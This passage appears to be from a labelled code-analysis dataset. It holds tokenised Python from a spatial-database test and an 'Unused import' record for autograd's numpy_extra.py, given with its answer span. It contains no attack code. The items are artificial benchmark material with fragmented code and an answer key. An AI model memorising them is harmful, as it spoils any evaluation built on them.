"(_", "table_", ")_", "==_", "self_", "._", "get", "\\u", "num", "\\u", "rows_", "(_", "TAB", "LE", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "\\u", "names_", "=_", "self_", "._", "get", "\\u", "column", "\\u", "names_", "(_", "TAB", "LE", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "col", "\\u", "names_", "==_", "[_", "'", "a", ":", "f1", "'_", ",_", "'", "other", "'_", ",_", "'", "test\\u", "key", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "anot", "her", " ", "way", " ", "to", " ", "get", " ", "col", "\\u", "names", " ", "(", "but", " ", "in", " ", "random", " ", "order", ")_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "len_", "(_", "table_", "[_", "0_", "]_", "._", "keys_", "(_", ")_", ")_", "==_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "add", "\\u", "geom", "etry", "\\u", "column_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "add", "\\u", "geom", "etry", "\\u", "column_", "(_", "TAB", "LE", "1_", ",_", "'", "geom", "etry", "'_", ",_", "'", "POINT", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "get", "\\u", "column", "\\u", "names_", "(_", "TAB", "LE", "1_", ")_", "==_", "[_", "'", "a", ":", "f1", "'_", ",_", "'", "geom", "etry", "'_", ",_", "'", "other", "'_", ",_", "'", "test\\u", "key", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "write", "\\u", "table", " _", "\\u\\u\\uNL\\u\\u\\u_", "col", "\\u", "specs_", "=_", "[_", "(_", "'", "id", "'_", ",_", "'", "BIG", "INT", "'_", ")_", ",_", "(_", "'", "a", ":", "name", "'_", ",_", "'", "TEXT", "'_", ")_", ",_", "(_", "'", "length", "'_", ",_", "'", "FLOAT", "'_", ")_", ",_", "(_", "'", "geom", "etry", "'_", ",_", "'", "POINT", "'_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rows_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rows_", "._", "append_", "(_", "{_", "'", "id", "'_", ":_", "1_", ",_", "'", "a", ":", "name", "'_", ":_", "'", "dian", "na", "'_", ",_", "'", "length", "'_", ":_", "5.3", "_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rows_", "._", "append_", "(_", "{_", "'", "id", "'_", ":_", "2_", ",_", "'", "a", ":", "name", "'_", ":_", "'", "nat", "han", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rows_", "._", "append_", "(_", "[_", "3_", ",_", "'", "mich", "ael", "'_", ",_", "5.1", "0_", ",_", "(_", "-_", "122.", "0_", ",_", "38.", "0_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "rows_", "._", "append_", "(_", "{_", "'", "id", "'_", ":_", "4_", ",_", "'", "a", ":", "name", "'_", ":_", "None_", ",_", "'", "length", "'_", ":_", "100_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "write", "\\u", "table_", "(_", "TAB", "LE", "2_", ",_", "col", "\\u", "specs_", ",_", "rows_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "self_", "._", "get", "\\u", "column", "\\u", "names_", "(_", "TAB", "LE", "2_", ")_", "==_", "[_", "'", "a", ":", "name", "'_", ",_", "'", "geom", "etry", "'_", ",_", "'", "id", "'_", ",_", "'", "length", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "rows", "r_", "=_", "self_", "._", "get", "\\u", "table_", "(_", "TAB", "LE", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "len_", "(_", "rows", "r_", ")_", "==_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "rows", "r_", "[_", "0_", "]_", "[_", "'", "a", ":", "name", "'_", "]_", "==_", "'", "dian", "na", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "rows", "r_", "[_", "2_", "]_", "[_", "'", "id", "'_", "]_", "==_", "3_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "rows", "r_", "[_", "1_", "]_", "[_", "'", "length", "'_", "]_", "==_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "geo_", "\\u\\u\\uNL\\u\\u\\u_", "geometry_", "=_", "geojson_", "._", "Point_", "(_", "(_", "-_", "122.", "0_", ",_", "38.", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ls_", "=_", "geojson_", "._", "Line", "String_", "(_", "[_", "(_", "-_", "122_", ",_", "38_", ")_", ",_", "(_", "-_", "122_", ",_", "39_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "features_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "geojson_", "._", "Feature_", "(_", "geometry_", "=_", "geometry_", ",_", "id_", "=_", "1_", ",_", "properties_", "=_", "{_", "'", "name", "'_", ":_", "'", "john", "'_", ",_", "'", "addr", "'_", ":_", "1212", "_", ",_", "'", "gpa", "'_", ":_", "3.5_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "geojson_", "._", "Feature_", "(_", "geometry_", "=_", "geometry_", ",_", "id_", "=_", "2_", ",_", "properties_", "=_", "{_", "'", "fish", "'_", ":_", "'", "sal", "mon", "'_", ",_", "'", "addr", "'_", ":_", "'", "sea", "'_", ",_", "'", "gpa", "'_", ":_", "3_", ",_", "'", "foo", "'_", ":_", "None_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "geojson_", "._", "Feature_", "(_", "geometry_", "=_", "ls_", ",_", "id_", "=_", "10_", ",_", "properties_", "=_", "{_", "'", "other", "'_", ":_", "10_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "geojson_", "._", "Feature_", "(_", "geometry_", "=_", "geometry_", ",_", "id_", "=_", "3_", ",_", "properties_", "=_", "{_", "'", "num", "'_", ":_", "2_", "**_", "40_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "geojson_", "._", "Feature_", "(_", "geometry_", "=_", "geometry_", ",_", "id_", "=_", "4_", ",_", "properties_", "=_", "{_", "'", "Num", "'_", ":_", "2_", "}_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "geojson_", "._", "Feature_", "(_", "geometry_", "=_", "geometry_", ",_", "id_", "=_", "5_", ",_", "properties_", "=_", "{_", "'", "NUM", "'_", ":_", "'", "many", "'_", "}_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "geo_", "=_", "geojson_", "._", "Feature", "Collection_", "(_", "features_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "write", "\\u", "geo_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "write", "\\u", "geo_", "(_", "geo_", ",_", "TAB", "LE", "\\u", "SEG", "S_", ",_", "geom", "etry", "\\u", "type_", "=_", "'", "Line", "String", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "write", "\\u", "geo_", "(_", "geo_", ",_", "TAB", "LE", "\\u", "JC", "TS_", ",_", "geom", "etry", "\\u", "type_", "=_", "'", "Point", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "table", "\\u", "names_", "\\u\\u\\uNL\\u\\u\\u_", "table", "\\u", "names_", "=_", "self_", "._", "get", "\\u", "table", "\\u", "names_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "'", "table", "\\u", "names", ":'", ",", "table", "\\u", "names_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "TAB", "LE", "1_", "in_", "table", "\\u", "names_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "spat", "ial", " ", "extension_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "'", "spat", "ial", "\\u", "ref", "\\u", "sys", "'_", "in_", "self_", "._", "get", "\\u", "table", "\\u", "names_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "for", " ", "srid_", "\\u\\u\\uNL\\u\\u\\u_", "rows_", "=_", "self_", "._", "select_", "(_", "'*'_", ",_", "'", "spat", "ial", "\\u", "ref", "\\u", "sys", "'_", ",_", "'", "sri", "d", "=", "%", "d", "'_", "%_", "self_", "._", "srid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "len_", "(_", "rows_", ")_", "==_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "clean", " ", "up_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "drop", "\\u", "table_", "(_", "TAB", "LE", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "drop", "\\u", "table_", "(_", "TAB", "LE", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "drop", "\\u", "table_", "(_", "TAB", "LE", "\\u", "SEG", "S_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "drop", "\\u", "table_", "(_", "TAB", "LE", "\\u", "JC", "TS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "commit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
HIPS/autograd/autograd/numpy/numpy_extra.py
[ { "content": "from __future__ import absolute_import\nimport numpy as np\n\nfrom autograd.core import (Node, FloatNode, primitive, cast,\n differentiable_ops, nondifferentiable_ops, getval)\nfrom . import numpy_wrapper as anp\nfrom .use_gpu_numpy import use_gpu_numpy\n\ntake.defgrad(make_grad_take)\n\nuntake.defgrad(lambda ans, x, idx, template : lambda g : take(g, idx))\nuntake.defgrad_is_zero(argnums=(1, 2))\n\nNode.__array_priority__ = 90.0\n\n\nNode.type_mappings[anp.ndarray] = new_array_node\n\narray_dtype_mappings = {}\nfor float_type in [anp.float64, anp.float32, anp.float16]:\n array_dtype_mappings[anp.dtype(float_type)] = ArrayNode\n Node.type_mappings[float_type] = FloatNode\n\n\nif use_gpu_numpy():\nelse:\narraycast.defgrad(lambda ans, val: lambda g : g)\n\nprimitive_sum_arrays.gradmaker = lambda *args : lambda g : g\n\n# These numpy.ndarray methods are just refs to an equivalent numpy function\nnondiff_methods = ['all', 'any', 'argmax', 'argmin', 'argpartition',\n 'argsort', 'nonzero', 'searchsorted', 'round']\ndiff_methods = ['clip', 'compress', 'cumprod', 'cumsum', 'diagonal',\n 'max', 'mean', 'min', 'prod', 'ptp', 'ravel', 'repeat',\n 'reshape', 'squeeze', 'std', 'sum', 'swapaxes', 'take',\n 'trace', 'transpose', 'var']\nfor method_name in nondiff_methods + diff_methods:\n setattr(ArrayNode, method_name, anp.__dict__[method_name])\n\n# Flatten has no function, only a method.\nsetattr(ArrayNode, 'flatten', anp.__dict__['ravel'])\n\n# Replace FloatNode operators with broadcastable versions\nfor method_name in differentiable_ops + nondifferentiable_ops + ['__truediv__', '__rtruediv__']:\n setattr(FloatNode, method_name, ArrayNode.__dict__[method_name])\n\n# ----- Special type for efficient grads through indexing -----\n\nNode.type_mappings[SparseArray] = ArrayNode\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "@primitive\ndef take(A, idx):\n return A[idx]", "metadata": "root.take", "header": "['module', '___EOS___']", "index": 8 }, { "content": "def make_grad_take(ans, A, idx):\n return lambda g : untake(g, idx, A)", "metadata": "root.make_grad_take", "header": "['module', '___EOS___']", "index": 11 }, { "content": "@primitive\ndef untake(x, idx, template):\n return array_dtype_mappings[template.dtype].new_sparse_array(template, idx, x)", "metadata": "root.untake", "header": "['module', '___EOS___']", "index": 15 }, { "content": "class ArrayNode(Node):\n __slots__ = []\n __getitem__ = take\n __array_priority__ = 100.0\n\n # Constants w.r.t float data just pass though\n shape = property(lambda self: self.value.shape)\n ndim = property(lambda self: self.value.ndim)\n size = property(lambda self: self.value.size)\n dtype = property(lambda self: self.value.dtype)\n T = property(lambda self: anp.transpose(self))\n\n\n\n\n\n", "metadata": "root.ArrayNode", "header": "['module', '___EOS___']", "index": 23 }, { "content": " def __len__(self):\n return len(self.value)", "metadata": "root.ArrayNode.__len__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 35 }, { "content": " @staticmethod\n def zeros_like(value):\n return anp.zeros(value.shape)", "metadata": "root.ArrayNode.zeros_like", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 38 }, { "content": " @staticmethod\n def sum_outgrads(outgrads):\n if len(outgrads) is 1 and not isinstance(getval(outgrads[0]), SparseArray):\n return outgrads[0]\n else:\n return primitive_sum_arrays(*outgrads)", "metadata": "root.ArrayNode.sum_outgrads", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 42 }, { "content": " @staticmethod\n def cast(value, example):\n result = arraycast(value)\n if result.shape != example.shape:\n result = result.reshape(example.shape)\n return result", "metadata": "root.ArrayNode.cast", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 49 }, { "content": " @staticmethod\n def new_sparse_array(template, idx, x):\n return SparseArray(template, idx, x)", "metadata": "root.ArrayNode.new_sparse_array", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 56 }, { "content": " def __neg__(self): return anp.negative(self)", "metadata": "root.ArrayNode.__neg__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 60 }, { "content": " def __add__(self, other): return anp.add( self, other)", "metadata": "root.ArrayNode.__add__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 61 }, { "content": " def __sub__(self, other): return anp.subtract(self, other)", "metadata": "root.ArrayNode.__sub__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 62 }, { "content": " def __mul__(self, other): return anp.multiply(self, other)", "metadata": "root.ArrayNode.__mul__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 63 }, { "content": " def __pow__(self, other): return anp.power (self, other)", "metadata": "root.ArrayNode.__pow__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 64 }, { "content": " def __div__(self, other): return anp.divide( self, other)", "metadata": "root.ArrayNode.__div__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 65 }, { "content": " def __mod__(self, other): return anp.mod( self, other)", "metadata": "root.ArrayNode.__mod__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 66 }, { "content": " def __truediv__(self, other): return anp.true_divide(self, other)", "metadata": "root.ArrayNode.__truediv__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 67 }, { "content": " def __radd__(self, other): return anp.add( other, self)", "metadata": "root.ArrayNode.__radd__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 68 }, { "content": " def __rsub__(self, other): return anp.subtract(other, self)", "metadata": "root.ArrayNode.__rsub__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 69 }, { "content": " def __rmul__(self, other): return anp.multiply(other, self)", "metadata": "root.ArrayNode.__rmul__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 70 }, { "content": " def __rpow__(self, other): return anp.power( other, self)", "metadata": "root.ArrayNode.__rpow__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 71 }, { "content": " def __rdiv__(self, other): return anp.divide( other, self)", "metadata": "root.ArrayNode.__rdiv__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 72 }, { "content": " def __rmod__(self, other): return anp.mod( other, self)", "metadata": "root.ArrayNode.__rmod__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 73 }, { "content": " def __rtruediv__(self, other): return anp.true_divide(other, self)", "metadata": "root.ArrayNode.__rtruediv__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 74 }, { "content": " def __eq__(self, other): return anp.equal(self, other)", "metadata": "root.ArrayNode.__eq__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 75 }, { "content": " def __ne__(self, other): return anp.not_equal(self, other)", "metadata": "root.ArrayNode.__ne__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 76 }, { "content": " def __gt__(self, other): return anp.greater(self, other)", "metadata": "root.ArrayNode.__gt__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 77 }, { "content": " def __ge__(self, other): return anp.greater_equal(self, other)", "metadata": "root.ArrayNode.__ge__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 78 }, { "content": " def __lt__(self, other): return anp.less(self, other)", "metadata": "root.ArrayNode.__lt__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 79 }, { "content": " def __le__(self, other): return anp.less_equal(self, other)", "metadata": "root.ArrayNode.__le__", "header": "['class', 'ArrayNode', '(', 'Node', ')', ':', '___EOS___']", "index": 80 }, { "content": "def new_array_node(value, tapes):\n try:\n return array_dtype_mappings[value.dtype](value, tapes)\n except KeyError:\n raise TypeError(\"Can't differentiate wrt numpy arrays of dtype {0}\".format(value.dtype))", "metadata": "root.new_array_node", "header": "['module', '___EOS___']", "index": 82 }, { "content": " @primitive\n def arraycast(val):\n if isinstance(val, float):\n return anp.array(val)\n elif anp.is_garray(val):\n return anp.array(val, dtype=anp.float64)\n elif anp.iscomplexobj(val):\n return anp.array(anp.real(val))\n else:\n raise TypeError(\"Can't cast type {0} to array\".format(type(val)))", "metadata": "root.arraycast", "header": "['module', '___EOS___']", "index": 96 }, { "content": " @primitive\n def arraycast(val):\n if isinstance(val, float):\n return anp.array(val)\n elif anp.iscomplexobj(val):\n return anp.array(anp.real(val))\n else:\n raise TypeError(\"Can't cast type {0} to array\".format(type(val)))", "metadata": "root.arraycast", "header": "['module', '___EOS___']", "index": 107 }, { "content": "@primitive\ndef primitive_sum_arrays(*arrays):\n new_array = type(new_array_node(arrays[0], [])).zeros_like(arrays[0]) # TODO: simplify this\n for array in arrays:\n if isinstance(array, SparseArray):\n np.add.at(new_array, array.idx, array.val)\n else:\n new_array += array\n return new_array", "metadata": "root.primitive_sum_arrays", "header": "['module', '___EOS___']", "index": 117 }, { "content": "class SparseArray(object):\n __array_priority__ = 150.0", "metadata": "root.SparseArray", "header": "['module', '___EOS___']", "index": 147 }, { "content": " def __init__(self, template, idx, val):\n self.shape = template.shape\n self.idx = idx\n self.val = val\n self.dtype = template.dtype", "metadata": "root.SparseArray.__init__", "header": "['class', 'SparseArray', '(', 'object', ')', ':', '___EOS___']", "index": 149 } ]
[ { "span": "from autograd.core import (Node, FloatNode, primitive, cast,\n differentiable_ops, nondifferentiable_ops, getval)", "start_line": 3, "start_column": 0, "end_line": 4, "end_column": 77 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "abs", "olute", "\\u", "import_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "autograd", "_", "._", "core_", "import_", "(_", "Node_", ",_", "Float", "Node_", ",_", "primitive_", ",_", "cast_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "different", "iable", "\\u", "ops_", ",_", "nond", "iff", "eren", "tia", "ble", "\\u", "ops_", ",_", "getv", "al_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "import_", "nump", "y", "\\u", "wrapper_", "as_", "an", "p_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "use", "\\u", "gpu", "\\u", "numpy_", "import_", "use", "\\u", "gpu", "\\u", "numpy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "take_", "._", "def", "grad_", "(_", "make", "\\u", "grad", "\\u", "take_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "unta", "ke_", "._", "def", "grad_", "(_", "lambda_", "ans_", ",_", "x_", ",_", "idx_", ",_", "template_", ":_", "lambda_", "g_", ":_", "take_", "(_", "g_", ",_", "idx_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "unta", "ke_", "._", "def", "grad", "\\u", "is", "\\u", "zero_", "(_", "arg", "nums_", "=_", "(_", "1_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "Node_", "._", "\\u\\u", "array", "\\u", "priorit", "y\\u\\u", "_", "=_", "90.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Node_", "._", "type", "\\u", "mappings_", "[_", "an", "p_", "._", "ndarray_", "]_", "=_", "new", "\\u", "array", "\\u", "node_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "array", "\\u", "dt", "ype", "\\u", "mappings_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "float", "\\u", "type_", "in_", "[_", "an", "p_", "._", "float64_", ",_", "an", "p_", "._", "float32_", ",_", "an", "p_", "._", "float1", "6_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "array", "\\u", "dt", "ype", "\\u", "mappings_", "[_", "an", "p_", "._", "dtype_", "(_", "float", "\\u", "type_", ")_", "]_", "=_", "Array", "Node_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Node_", "._", "type", "\\u", "mappings_", "[_", "float", "\\u", "type_", "]_", "=_", "Float", "Node_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "use", "\\u", "gpu", "\\u", "numpy_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "array", "cast_", "._", "def", "grad_", "(_", "lambda_", "ans_", ",_", "val_", ":_", "lambda_", "g_", ":_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "primi", "tiv", "e\\u", "sum", "\\u", "arrays_", "._", "grad", "maker_", "=_", "lambda_", "*_", "args_", ":_", "lambda_", "g_", ":_", "g_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", "se", " ", "nump", "y", ".", "ndar", "ray", " ", "method", "s", " ", "are", " ", "just", " ", "refs", " ", "to", " ", "an", " ", "equivalent", " ", "nump", "y", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "nond", "iff", "\\u", "methods_", "=_", "[_", "'", "all", "'_", ",_", "'", "any", "'_", ",_", "'", "argm", "ax", "'_", ",_", "'", "argm", "in", "'_", ",_", "'", "argp", "arti", "tion", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "args", "ort", "'_", ",_", "'", "nonzero", "'_", ",_", "'", "searchs", "orte", "d", "'_", ",_", "'", "round", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "diff", "\\u", "methods_", "=_", "[_", "'", "clip", "'_", ",_", "'", "compress", "'_", ",_", "'", "cum", "prod", "'_", ",_", "'", "cum", "sum", "'_", ",_", "'", "diagonal", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "max", "'_", ",_", "'", "mean", "'_", ",_", "'", "min", "'_", ",_", "'", "prod", "'_", ",_", "'", "pt", "p", "'_", ",_", "'", "rave", "l", "'_", ",_", "'", "repeat", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reshape", "'_", ",_", "'", "squeeze", "'_", ",_", "'", "std", "'_", ",_", "'", "sum", "'_", ",_", "'", "swap", "axes", "'_", ",_", "'", "take", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "trace", "'_", ",_", "'", "transpose", "'_", ",_", "'", "var", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "method", "\\u", "name_", "in_", "nond", "iff", "\\u", "methods_", "+_", "diff", "\\u", "methods_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setattr_", "(_", "Array", "Node_", ",_", "method", "\\u", "name_", ",_", "an", "p_", "._", "\\u\\u", "dict\\u\\u_", "[_", "method", "\\u", "name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Flatt", "en", " ", "has", " ", "no", " ", "function", ",", " ", "only", " ", "a", " ", "method", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "setattr_", "(_", "Array", "Node_", ",_", "'", "flat", "ten", "'_", ",_", "an", "p_", "._", "\\u\\u", "dict\\u\\u_", "[_", "'", "rave", "l", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Replace", " ", "Float", "Node", " ", "opera", "tors", " ", "with", " ", "broadcast", "able", " ", "versions_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "method", "\\u", "name_", "in_", "different", "iable", "\\u", "ops_", "+_", "nond", "iff", "eren", "tia", "ble", "\\u", "ops_", "+_", "[_", "'\\u", "\\u", "true", "div", "\\u\\u'_", ",_", "'\\u", "\\u", "rtr", "ued", "iv", "\\u\\u'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setattr_", "(_", "Float", "Node_", ",_", "method", "\\u", "name_", ",_", "Array", "Node_", "._", "\\u\\u", "dict\\u\\u_", "[_", "method", "\\u", "name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-----", " ", "Special", " ", "type", " ", "for", " ", "efficien", "t", " ", "grads", " ", "through", " ", "indexing", " ", "-----", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "Node_", "._", "type", "\\u", "mappings_", "[_", 